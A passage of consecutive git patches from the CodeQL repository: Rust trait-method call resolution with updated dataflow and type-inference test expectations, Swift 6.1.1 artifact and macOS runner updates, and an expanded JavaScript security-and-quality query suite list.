file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1256:25:1256:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1258:13:1258:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1259:12:1259:13 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1259:18:1259:19 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1260:17:1260:17 | z | | file://:0:0:0:0 | () | +| main.rs:1260:21:1260:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1260:22:1260:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1260:22:1260:26 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1260:26:1260:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1262:13:1262:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1262:13:1262:17 | ... = ... | | file://:0:0:0:0 | () | +| main.rs:1262:17:1262:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1264:9:1264:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1270:5:1270:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1271:5:1271:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1271:20:1271:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1271:41:1271:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From e778cbe768cb0efae57e198d3ba444aa76b44a31 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Sat, 24 May 2025 10:01:33 +0200 Subject: [PATCH 375/535] Rust: Resolve function calls to traits methods --- .../rust/elements/internal/CallExprImpl.qll | 10 +- .../elements/internal/MethodCallExprImpl.qll | 41 +-- .../codeql/rust/internal/TypeInference.qll | 257 ++++++++++++------ .../dataflow/global/inline-flow.expected | 42 +++ .../library-tests/dataflow/global/main.rs | 4 +- .../dataflow/global/viableCallable.expected | 3 + .../test/library-tests/type-inference/main.rs | 2 +- .../type-inference/type-inference.ql | 2 +- 8 files changed, 238 insertions(+), 123 deletions(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll index 944185cf122e..e9ec4339d1ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll @@ -14,6 +14,7 @@ private import codeql.rust.elements.PathExpr module Impl { private import rust private import codeql.rust.internal.PathResolution as PathResolution + private import codeql.rust.internal.TypeInference as TypeInference pragma[nomagic] Path getFunctionPath(CallExpr ce) { result = ce.getFunction().(PathExpr).getPath() } @@ -36,7 +37,14 @@ module Impl { class CallExpr extends Generated::CallExpr { override string toStringImpl() { result = this.getFunction().toAbbreviatedString() + "(...)" } - override Callable getStaticTarget() { result = getResolvedFunction(this) } + override Callable getStaticTarget() { + // If this call is to a trait method, e.g., `Trait::foo(bar)`, then check + // if type inference can resolve it to the correct trait implementation. + result = TypeInference::resolveMethodCallTarget(this) + or + not exists(TypeInference::resolveMethodCallTarget(this)) and + result = getResolvedFunction(this) + } /** Gets the struct that this call resolves to, if any. */ Struct getStruct() { result = getResolvedFunction(this) } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index 4996da37d908..1141ade4bd67 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -14,14 +14,6 @@ private import codeql.rust.internal.TypeInference * be referenced directly. */ module Impl { - private predicate isInherentImplFunction(Function f) { - f = any(Impl impl | not impl.hasTrait()).(ImplItemNode).getAnAssocItem() - } - - private predicate isTraitImplFunction(Function f) { - f = any(Impl impl | impl.hasTrait()).(ImplItemNode).getAnAssocItem() - } - // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A method call expression. For example: @@ -31,38 +23,7 @@ module Impl { * ``` */ class MethodCallExpr extends Generated::MethodCallExpr { - private Function getStaticTargetFrom(boolean fromSource) { - result = resolveMethodCallExpr(this) and - (if result.fromSource() then fromSource = true else fromSource = false) and - ( - // prioritize inherent implementation methods first - isInherentImplFunction(result) - or - not isInherentImplFunction(resolveMethodCallExpr(this)) and - ( - // then trait implementation methods - isTraitImplFunction(result) - or - not isTraitImplFunction(resolveMethodCallExpr(this)) and - ( - // then trait methods with default implementations - result.hasBody() - or - // and finally trait methods without default implementations - not resolveMethodCallExpr(this).hasBody() - ) - ) - ) - } - - override Function getStaticTarget() { - // Functions in source code also gets extracted as library code, due to - // this duplication we prioritize functions from source code. - result = this.getStaticTargetFrom(true) - or - not exists(this.getStaticTargetFrom(true)) and - result = this.getStaticTargetFrom(false) - } + override Function getStaticTarget() { result = resolveMethodCallTarget(this) } private string toStringPart(int index) { index = 0 and diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 5bc137252fdd..8cff1635b93f 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -678,7 +678,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { Declaration getTarget() { result = CallExprImpl::getResolvedFunction(this) or - result = resolveMethodCallExpr(this) // mutual recursion; resolving method calls requires resolving types and vice versa + result = inferMethodCallTarget(this) // mutual recursion; resolving method calls requires resolving types and vice versa } } @@ -1000,6 +1000,150 @@ private StructType inferLiteralType(LiteralExpr le) { ) } +private module MethodCall { + /** An expression that calls a method. */ + abstract private class MethodCallImpl extends Expr { + /** Gets the name of the method targeted. */ + abstract string getMethodName(); + + /** Gets the number of arguments _excluding_ the `self` argument. */ + abstract int getArity(); + + /** Gets the trait targeted by this method call, if any. */ + Trait getTrait() { none() } + + /** Gets the type of the receiver of the method call at `path`. */ + abstract Type getTypeAt(TypePath path); + } + + final class MethodCall = MethodCallImpl; + + private class MethodCallExprMethodCall extends MethodCallImpl instanceof MethodCallExpr { + override string getMethodName() { result = super.getIdentifier().getText() } + + override int getArity() { result = super.getArgList().getNumberOfArgs() } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { + exists(TypePath path0 | result = inferType(super.getReceiver(), path0) | + path0.isCons(TRefTypeParameter(), path) + or + not path0.isCons(TRefTypeParameter(), _) and + not (path0.isEmpty() and result = TRefType()) and + path = path0 + ) + } + } + + private class CallExprMethodCall extends MethodCallImpl instanceof CallExpr { + TraitItemNode trait; + string methodName; + Expr receiver; + + CallExprMethodCall() { + receiver = this.getArgList().getArg(0) and + exists(Path path, Function f | + path = this.getFunction().(PathExpr).getPath() and + f = resolvePath(path) and + f.getParamList().hasSelfParam() and + trait = resolvePath(path.getQualifier()) and + trait.getAnAssocItem() = f and + path.getSegment().getIdentifier().getText() = methodName + ) + } + + override string getMethodName() { result = methodName } + + override int getArity() { result = super.getArgList().getNumberOfArgs() - 1 } + + override Trait getTrait() { result = trait } + + pragma[nomagic] + override Type getTypeAt(TypePath path) { result = inferType(receiver, path) } + } +} + +import MethodCall + +/** + * Holds if a method for `type` with the name `name` and the arity `arity` + * exists in `impl`. + */ +private predicate methodCandidate(Type type, string name, int arity, Impl impl) { + type = impl.getSelfTy().(TypeMention).resolveType() and + exists(Function f | + f = impl.(ImplItemNode).getASuccessor(name) and + f.getParamList().hasSelfParam() and + arity = f.getParamList().getNumberOfParams() + ) +} + +/** + * Holds if a method for `type` for `trait` with the name `name` and the arity + * `arity` exists in `impl`. + */ +pragma[nomagic] +private predicate methodCandidateTrait(Type type, Trait trait, string name, int arity, Impl impl) { + trait = resolvePath(impl.getTrait().(PathTypeRepr).getPath()) and + methodCandidate(type, name, arity, impl) +} + +private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + pragma[nomagic] + predicate potentialInstantiationOf(MethodCall mc, TypeAbstraction impl, TypeMention constraint) { + exists(Type rootType, string name, int arity | + rootType = mc.getTypeAt(TypePath::nil()) and + name = mc.getMethodName() and + arity = mc.getArity() and + constraint = impl.(ImplTypeAbstraction).getSelfTy() + | + methodCandidateTrait(rootType, mc.getTrait(), name, arity, impl) + or + not exists(mc.getTrait()) and + methodCandidate(rootType, name, arity, impl) + ) + } + + predicate relevantTypeMention(TypeMention constraint) { + exists(Impl impl | methodCandidate(_, _, _, impl) and constraint = impl.getSelfTy()) + } +} + +bindingset[item, name] +pragma[inline_late] +private Function getMethodSuccessor(ItemNode item, string name) { + result = item.getASuccessor(name) +} + +bindingset[tp, name] +pragma[inline_late] +private Function getTypeParameterMethod(TypeParameter tp, string name) { + result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) + or + result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) +} + +/** Gets a method from an `impl` block that matches the method call `mc`. */ +private Function getMethodFromImpl(MethodCall mc) { + exists(Impl impl | + IsInstantiationOf::isInstantiationOf(mc, impl, _) and + result = getMethodSuccessor(impl, mc.getMethodName()) + ) +} + +/** + * Gets a method that the method call `mc` resolves to based on type inference, + * if any. + */ +private Function inferMethodCallTarget(MethodCall mc) { + // The method comes from an `impl` block targeting the type of the receiver. + result = getMethodFromImpl(mc) + or + // The type of the receiver is a type parameter and the method comes from a + // trait bound on the type parameter. + result = getTypeParameterMethod(mc.getTypeAt(TypePath::nil()), mc.getMethodName()) +} + cached private module Cached { private import codeql.rust.internal.CachedStages @@ -1026,90 +1170,47 @@ private module Cached { ) } - private class ReceiverExpr extends Expr { - MethodCallExpr mce; - - ReceiverExpr() { mce.getReceiver() = this } - - string getField() { result = mce.getIdentifier().getText() } - - int getNumberOfArgs() { result = mce.getArgList().getNumberOfArgs() } - - pragma[nomagic] - Type getTypeAt(TypePath path) { - exists(TypePath path0 | result = inferType(this, path0) | - path0.isCons(TRefTypeParameter(), path) - or - not path0.isCons(TRefTypeParameter(), _) and - not (path0.isEmpty() and result = TRefType()) and - path = path0 - ) - } - } - - /** Holds if a method for `type` with the name `name` and the arity `arity` exists in `impl`. */ - pragma[nomagic] - private predicate methodCandidate(Type type, string name, int arity, Impl impl) { - type = impl.getSelfTy().(TypeReprMention).resolveType() and - exists(Function f | - f = impl.(ImplItemNode).getASuccessor(name) and - f.getParamList().hasSelfParam() and - arity = f.getParamList().getNumberOfParams() - ) - } - - private module IsInstantiationOfInput implements IsInstantiationOfInputSig { - pragma[nomagic] - predicate potentialInstantiationOf( - ReceiverExpr receiver, TypeAbstraction impl, TypeMention constraint - ) { - methodCandidate(receiver.getTypeAt(TypePath::nil()), receiver.getField(), - receiver.getNumberOfArgs(), impl) and - constraint = impl.(ImplTypeAbstraction).getSelfTy() - } - - predicate relevantTypeMention(TypeMention constraint) { - exists(Impl impl | methodCandidate(_, _, _, impl) and constraint = impl.getSelfTy()) - } - } - - bindingset[item, name] - pragma[inline_late] - private Function getMethodSuccessor(ItemNode item, string name) { - result = item.getASuccessor(name) + private predicate isInherentImplFunction(Function f) { + f = any(Impl impl | not impl.hasTrait()).(ImplItemNode).getAnAssocItem() } - bindingset[tp, name] - pragma[inline_late] - private Function getTypeParameterMethod(TypeParameter tp, string name) { - result = getMethodSuccessor(tp.(TypeParamTypeParameter).getTypeParam(), name) - or - result = getMethodSuccessor(tp.(SelfTypeParameter).getTrait(), name) + private predicate isTraitImplFunction(Function f) { + f = any(Impl impl | impl.hasTrait()).(ImplItemNode).getAnAssocItem() } - /** - * Gets the method from an `impl` block with an implementing type that matches - * the type of `receiver` and with a name of the method call in which - * `receiver` occurs, if any. - */ - private Function getMethodFromImpl(ReceiverExpr receiver) { - exists(Impl impl | - IsInstantiationOf::isInstantiationOf(receiver, impl, _) and - result = getMethodSuccessor(impl, receiver.getField()) + private Function resolveMethodCallTargetFrom(MethodCall mc, boolean fromSource) { + result = inferMethodCallTarget(mc) and + (if result.fromSource() then fromSource = true else fromSource = false) and + ( + // prioritize inherent implementation methods first + isInherentImplFunction(result) + or + not isInherentImplFunction(inferMethodCallTarget(mc)) and + ( + // then trait implementation methods + isTraitImplFunction(result) + or + not isTraitImplFunction(inferMethodCallTarget(mc)) and + ( + // then trait methods with default implementations + result.hasBody() + or + // and finally trait methods without default implementations + not inferMethodCallTarget(mc).hasBody() + ) + ) ) } - /** Gets a method that the method call `mce` resolves to, if any. */ + /** Gets a method that the method call `mc` resolves to, if any. */ cached - Function resolveMethodCallExpr(MethodCallExpr mce) { - exists(ReceiverExpr receiver | mce.getReceiver() = receiver | - // The method comes from an `impl` block targeting the type of `receiver`. - result = getMethodFromImpl(receiver) - or - // The type of `receiver` is a type parameter and the method comes from a - // trait bound on the type parameter. - result = getTypeParameterMethod(receiver.getTypeAt(TypePath::nil()), receiver.getField()) - ) + Function resolveMethodCallTarget(MethodCall mc) { + // Functions in source code also gets extracted as library code, due to + // this duplication we prioritize functions from source code. + result = resolveMethodCallTargetFrom(mc, true) + or + not exists(resolveMethodCallTargetFrom(mc, true)) and + result = resolveMethodCallTargetFrom(mc, false) } pragma[inline] @@ -1243,6 +1344,6 @@ private module Debug { Function debugResolveMethodCallExpr(MethodCallExpr mce) { mce = getRelevantLocatable() and - result = resolveMethodCallExpr(mce) + result = resolveMethodCallTarget(mce) } } diff --git a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected index ec838732cd59..c64956c59a03 100644 --- a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected @@ -92,6 +92,24 @@ edges | main.rs:188:9:188:9 | d [MyInt] | main.rs:189:10:189:10 | d [MyInt] | provenance | | | main.rs:188:13:188:20 | a.add(...) [MyInt] | main.rs:188:9:188:9 | d [MyInt] | provenance | | | main.rs:189:10:189:10 | d [MyInt] | main.rs:189:10:189:16 | d.value | provenance | | +| main.rs:201:18:201:21 | SelfParam [MyInt] | main.rs:201:48:203:5 | { ... } [MyInt] | provenance | | +| main.rs:205:26:205:37 | ...: MyInt [MyInt] | main.rs:205:49:207:5 | { ... } [MyInt] | provenance | | +| main.rs:211:9:211:9 | a [MyInt] | main.rs:213:49:213:49 | a [MyInt] | provenance | | +| main.rs:211:13:211:38 | MyInt {...} [MyInt] | main.rs:211:9:211:9 | a [MyInt] | provenance | | +| main.rs:211:28:211:36 | source(...) | main.rs:211:13:211:38 | MyInt {...} [MyInt] | provenance | | +| main.rs:213:9:213:26 | MyInt {...} [MyInt] | main.rs:213:24:213:24 | c | provenance | | +| main.rs:213:24:213:24 | c | main.rs:214:10:214:10 | c | provenance | | +| main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | main.rs:213:9:213:26 | MyInt {...} [MyInt] | provenance | | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:201:18:201:21 | SelfParam [MyInt] | provenance | | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | provenance | | +| main.rs:217:9:217:9 | b [MyInt] | main.rs:218:54:218:54 | b [MyInt] | provenance | | +| main.rs:217:13:217:39 | MyInt {...} [MyInt] | main.rs:217:9:217:9 | b [MyInt] | provenance | | +| main.rs:217:28:217:37 | source(...) | main.rs:217:13:217:39 | MyInt {...} [MyInt] | provenance | | +| main.rs:218:9:218:26 | MyInt {...} [MyInt] | main.rs:218:24:218:24 | c | provenance | | +| main.rs:218:24:218:24 | c | main.rs:219:10:219:10 | c | provenance | | +| main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | main.rs:218:9:218:26 | MyInt {...} [MyInt] | provenance | | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:205:26:205:37 | ...: MyInt [MyInt] | provenance | | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | provenance | | | main.rs:227:32:231:1 | { ... } | main.rs:246:41:246:54 | async_source(...) | provenance | | | main.rs:228:9:228:9 | a | main.rs:227:32:231:1 | { ... } | provenance | | | main.rs:228:9:228:9 | a | main.rs:229:10:229:10 | a | provenance | | @@ -202,6 +220,26 @@ nodes | main.rs:188:13:188:20 | a.add(...) [MyInt] | semmle.label | a.add(...) [MyInt] | | main.rs:189:10:189:10 | d [MyInt] | semmle.label | d [MyInt] | | main.rs:189:10:189:16 | d.value | semmle.label | d.value | +| main.rs:201:18:201:21 | SelfParam [MyInt] | semmle.label | SelfParam [MyInt] | +| main.rs:201:48:203:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] | +| main.rs:205:26:205:37 | ...: MyInt [MyInt] | semmle.label | ...: MyInt [MyInt] | +| main.rs:205:49:207:5 | { ... } [MyInt] | semmle.label | { ... } [MyInt] | +| main.rs:211:9:211:9 | a [MyInt] | semmle.label | a [MyInt] | +| main.rs:211:13:211:38 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:211:28:211:36 | source(...) | semmle.label | source(...) | +| main.rs:213:9:213:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:213:24:213:24 | c | semmle.label | c | +| main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | semmle.label | ...::take_self(...) [MyInt] | +| main.rs:213:49:213:49 | a [MyInt] | semmle.label | a [MyInt] | +| main.rs:214:10:214:10 | c | semmle.label | c | +| main.rs:217:9:217:9 | b [MyInt] | semmle.label | b [MyInt] | +| main.rs:217:13:217:39 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:217:28:217:37 | source(...) | semmle.label | source(...) | +| main.rs:218:9:218:26 | MyInt {...} [MyInt] | semmle.label | MyInt {...} [MyInt] | +| main.rs:218:24:218:24 | c | semmle.label | c | +| main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | semmle.label | ...::take_second(...) [MyInt] | +| main.rs:218:54:218:54 | b [MyInt] | semmle.label | b [MyInt] | +| main.rs:219:10:219:10 | c | semmle.label | c | | main.rs:227:32:231:1 | { ... } | semmle.label | { ... } | | main.rs:228:9:228:9 | a | semmle.label | a | | main.rs:228:13:228:21 | source(...) | semmle.label | source(...) | @@ -225,6 +263,8 @@ subpaths | main.rs:143:38:143:38 | a | main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | main.rs:143:13:143:39 | ...::data_through(...) | | main.rs:161:24:161:33 | source(...) | main.rs:155:12:155:17 | ...: i64 | main.rs:155:28:157:5 | { ... } [MyInt] | main.rs:161:13:161:34 | ...::new(...) [MyInt] | | main.rs:186:9:186:9 | a [MyInt] | main.rs:169:12:169:15 | SelfParam [MyInt] | main.rs:169:42:172:5 | { ... } [MyInt] | main.rs:188:13:188:20 | a.add(...) [MyInt] | +| main.rs:213:49:213:49 | a [MyInt] | main.rs:201:18:201:21 | SelfParam [MyInt] | main.rs:201:48:203:5 | { ... } [MyInt] | main.rs:213:30:213:53 | ...::take_self(...) [MyInt] | +| main.rs:218:54:218:54 | b [MyInt] | main.rs:205:26:205:37 | ...: MyInt [MyInt] | main.rs:205:49:207:5 | { ... } [MyInt] | main.rs:218:30:218:55 | ...::take_second(...) [MyInt] | testFailures #select | main.rs:18:10:18:10 | a | main.rs:13:5:13:13 | source(...) | main.rs:18:10:18:10 | a | $@ | main.rs:13:5:13:13 | source(...) | source(...) | @@ -241,6 +281,8 @@ testFailures | main.rs:144:10:144:10 | b | main.rs:142:13:142:22 | source(...) | main.rs:144:10:144:10 | b | $@ | main.rs:142:13:142:22 | source(...) | source(...) | | main.rs:163:10:163:10 | m | main.rs:161:24:161:33 | source(...) | main.rs:163:10:163:10 | m | $@ | main.rs:161:24:161:33 | source(...) | source(...) | | main.rs:189:10:189:16 | d.value | main.rs:186:28:186:36 | source(...) | main.rs:189:10:189:16 | d.value | $@ | main.rs:186:28:186:36 | source(...) | source(...) | +| main.rs:214:10:214:10 | c | main.rs:211:28:211:36 | source(...) | main.rs:214:10:214:10 | c | $@ | main.rs:211:28:211:36 | source(...) | source(...) | +| main.rs:219:10:219:10 | c | main.rs:217:28:217:37 | source(...) | main.rs:219:10:219:10 | c | $@ | main.rs:217:28:217:37 | source(...) | source(...) | | main.rs:229:10:229:10 | a | main.rs:228:13:228:21 | source(...) | main.rs:229:10:229:10 | a | $@ | main.rs:228:13:228:21 | source(...) | source(...) | | main.rs:239:14:239:14 | c | main.rs:238:17:238:25 | source(...) | main.rs:239:14:239:14 | c | $@ | main.rs:238:17:238:25 | source(...) | source(...) | | main.rs:247:10:247:10 | a | main.rs:228:13:228:21 | source(...) | main.rs:247:10:247:10 | a | $@ | main.rs:228:13:228:21 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/global/main.rs b/rust/ql/test/library-tests/dataflow/global/main.rs index a28a8e030842..507772692d67 100644 --- a/rust/ql/test/library-tests/dataflow/global/main.rs +++ b/rust/ql/test/library-tests/dataflow/global/main.rs @@ -211,12 +211,12 @@ fn data_through_trait_method_called_as_function() { let a = MyInt { value: source(8) }; let b = MyInt { value: 2 }; let MyInt { value: c } = MyTrait::take_self(a, b); - sink(c); // $ MISSING: hasValueFlow=8 + sink(c); // $ hasValueFlow=8 let a = MyInt { value: 0 }; let b = MyInt { value: source(37) }; let MyInt { value: c } = MyTrait::take_second(a, b); - sink(c); // $ MISSING: hasValueFlow=37 + sink(c); // $ hasValueFlow=37 let a = MyInt { value: 0 }; let b = MyInt { value: source(38) }; diff --git a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected index 76e65eea3876..63abc4c7f417 100644 --- a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected +++ b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected @@ -48,10 +48,13 @@ | main.rs:188:13:188:20 | a.add(...) | main.rs:169:5:172:5 | fn add | | main.rs:189:5:189:17 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:211:28:211:36 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:213:30:213:53 | ...::take_self(...) | main.rs:201:5:203:5 | fn take_self | | main.rs:214:5:214:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:217:28:217:37 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:218:30:218:55 | ...::take_second(...) | main.rs:205:5:207:5 | fn take_second | | main.rs:219:5:219:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:222:28:222:37 | source(...) | main.rs:1:1:3:1 | fn source | +| main.rs:223:30:223:53 | ...::take_self(...) | main.rs:201:5:203:5 | fn take_self | | main.rs:224:5:224:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:228:13:228:21 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:229:5:229:11 | sink(...) | main.rs:5:1:7:1 | fn sink | diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 48964f9fb37b..9f0056522b6c 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -112,7 +112,7 @@ mod trait_impl { let a = x.trait_method(); // $ type=a:bool method=MyThing::trait_method let y = MyThing { field: false }; - let b = MyTrait::trait_method(y); // $ type=b:bool MISSING: method=MyThing::trait_method + let b = MyTrait::trait_method(y); // $ type=b:bool method=MyThing::trait_method } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 94d8ee237962..cea5839c6ad9 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -43,7 +43,7 @@ module ResolveTest implements TestSig { source.fromSource() and not source.isFromMacroExpansion() | - target = source.(MethodCallExpr).getStaticTarget() and + target = resolveMethodCallTarget(source) and functionHasValue(target, value) and tag = "method" or From bb9c72f889791cceef62074ede02edc9fbfb1d2a Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Sun, 25 May 2025 21:13:18 +0200 Subject: [PATCH 376/535] Swift: Update to Swift 6.1.1 --- swift/third_party/load.bzl | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/swift/third_party/load.bzl b/swift/third_party/load.bzl index d19345a18803..ad05960e7f66 100644 --- a/swift/third_party/load.bzl +++ b/swift/third_party/load.bzl @@ -5,6 +5,10 @@ load("//misc/bazel:lfs.bzl", "lfs_archive", "lfs_files") _override = { # these are used to test new artifacts. Must be empty before merging to main + "swift-prebuilt-macOS-swift-6.1.1-RELEASE-108.tar.zst": "2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9", + "swift-prebuilt-Linux-swift-6.1.1-RELEASE-108.tar.zst": "31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5", + "resource-dir-macOS-swift-6.1.1-RELEASE-115.zip": "84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d", + "resource-dir-Linux-swift-6.1.1-RELEASE-115.zip": "1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657", } _staging_url = "https://github.com/dsp-testing/codeql-swift-artifacts/releases/download/staging-{}/{}" From 27fd7c48faf5214c5576c18a9dfe8d2373fde502 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 26 May 2025 10:03:43 +0200 Subject: [PATCH 377/535] Swift: Update macOS runner --- .github/workflows/swift.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/swift.yml b/.github/workflows/swift.yml index 4af46d302ac6..df610a967025 100644 --- a/.github/workflows/swift.yml +++ b/.github/workflows/swift.yml @@ -32,7 +32,7 @@ jobs: if: github.repository_owner == 'github' strategy: matrix: - runner: [ubuntu-latest, macos-13-xlarge] + runner: [ubuntu-latest, macos-15-xlarge] fail-fast: false runs-on: ${{ matrix.runner }} steps: From 37024ade85bb73a443b216406fb9d315a94f0440 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Mon, 26 May 2025 10:22:33 +0200 Subject: [PATCH 378/535] JS: Move query suite selector logic to `javascript-security-and-quality.qls` --- .../javascript-security-and-quality.qls | 144 +++++++++++++++++- 1 file changed, 142 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls index fe0fb9b6f348..d02a016f058b 100644 --- a/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls +++ b/javascript/ql/src/codeql-suites/javascript-security-and-quality.qls @@ -1,4 +1,144 @@ - description: Security-and-quality queries for JavaScript - queries: . -- apply: security-and-quality-selectors.yml - from: codeql/suite-helpers +- include: + kind: + - problem + - path-problem + precision: + - high + - very-high + tags contain: + - security +- include: + kind: + - problem + - path-problem + precision: medium + problem.severity: + - error + - warning + tags contain: + - security +- include: + id: + - js/node/assignment-to-exports-variable + - js/node/missing-exports-qualifier + - js/angular/duplicate-dependency + - js/angular/missing-explicit-injection + - js/angular/dependency-injection-mismatch + - js/angular/incompatible-service + - js/angular/expression-in-url-attribute + - js/angular/repeated-dependency-injection + - js/regex/back-reference-to-negative-lookahead + - js/regex/unmatchable-dollar + - js/regex/empty-character-class + - js/regex/back-reference-before-group + - js/regex/unbound-back-reference + - js/regex/always-matches + - js/regex/unmatchable-caret + - js/regex/duplicate-in-character-class + - js/vue/arrow-method-on-vue-instance + - js/conditional-comment + - js/superfluous-trailing-arguments + - js/illegal-invocation + - js/invalid-prototype-value + - js/incomplete-object-initialization + - js/useless-type-test + - js/template-syntax-in-string-literal + - js/with-statement + - js/property-assignment-on-primitive + - js/deletion-of-non-property + - js/setter-return + - js/index-out-of-bounds + - js/unused-index-variable + - js/non-standard-language-feature + - js/syntax-error + - js/for-in-comprehension + - js/strict-mode-call-stack-introspection + - js/automatic-semicolon-insertion + - js/inconsistent-use-of-new + - js/non-linear-pattern + - js/yield-outside-generator + - js/mixed-static-instance-this-access + - js/arguments-redefinition + - js/nested-function-reference-in-default-parameter + - js/duplicate-parameter-name + - js/unreachable-method-overloads + - js/duplicate-variable-declaration + - js/function-declaration-conflict + - js/ineffective-parameter-type + - js/assignment-to-constant + - js/use-before-declaration + - js/suspicious-method-name-declaration + - js/overwritten-property + - js/useless-assignment-to-local + - js/useless-assignment-to-property + - js/variable-initialization-conflict + - js/variable-use-in-temporal-dead-zone + - js/missing-variable-declaration + - js/missing-this-qualifier + - js/unused-local-variable + - js/label-in-switch + - js/ignore-array-result + - js/inconsistent-loop-direction + - js/unreachable-statement + - js/trivial-conditional + - js/useless-comparison-test + - js/misleading-indentation-of-dangling-else + - js/use-of-returnless-function + - js/useless-assignment-in-return + - js/loop-iteration-skipped-due-to-shifting + - js/misleading-indentation-after-control-statement + - js/unused-loop-variable + - js/implicit-operand-conversion + - js/whitespace-contradicts-precedence + - js/missing-space-in-concatenation + - js/unbound-event-handler-receiver + - js/shift-out-of-range + - js/missing-dot-length-in-comparison + - js/redundant-operation + - js/comparison-with-nan + - js/duplicate-property + - js/unclear-operator-precedence + - js/unknown-directive + - js/string-instead-of-regex + - js/unneeded-defensive-code + - js/duplicate-switch-case + - js/duplicate-condition + - js/useless-expression + - js/redundant-assignment + - js/misspelled-variable-name + - js/call-to-non-callable + - js/missing-await + - js/comparison-between-incompatible-types + - js/property-access-on-non-object + - js/malformed-html-id + - js/eval-like-call + - js/duplicate-html-attribute + - js/react/unsupported-state-update-in-lifecycle-method + - 